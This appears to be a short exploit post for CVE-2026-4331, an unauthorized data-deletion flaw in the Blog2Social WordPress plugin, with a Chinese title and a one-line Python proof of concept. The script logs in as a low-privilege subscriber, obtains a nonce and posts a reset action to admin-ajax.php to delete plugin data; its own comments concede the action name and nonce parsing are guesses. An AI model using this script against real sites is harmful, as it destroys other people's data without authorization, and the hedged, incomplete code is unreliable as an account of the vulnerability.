CVE-2026-4331 Blog2Social插件未授权数据删除漏洞

import requests # Configuration wp_url = "http://target-wordpress.com" username = "subscriber" password = "password" # 1. Login to get cookies and nonce login_url = f"{wp_url}/wp-login.php" session = requests.Session() login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{wp_url}/wp-admin/" } session.post(login_url, data=login_data) # 2. Access plugin page to retrieve nonce (b2s_security_nonce) # Note: The exact URL to get the nonce might vary based on plugin version/page structure plugin_page = session.get(f"{wp_url}/wp-admin/admin.php?page=blog2social-posts") # Parse logic to find 'b2s_security_nonce' would go here # Assuming nonce found: nonce = "extracted_nonce_value_from_page_source" # 3. Exploit: Trigger data deletion ajax_url = f"{wp_url}/wp-admin/admin-ajax.php" payload = { 'action': 'b2s_reset_social_meta_tags', # Action might differ, inspecting JS needed 'b2s_security_nonce': nonce, 'post_id': '0' # Depending on logic, or might reset all } response = session.post(ajax_url, data=payload) if response.status_code == 200: print("[+] Exploit sent successfully. Check if data is deleted.") else: print("[-] Exploit failed.")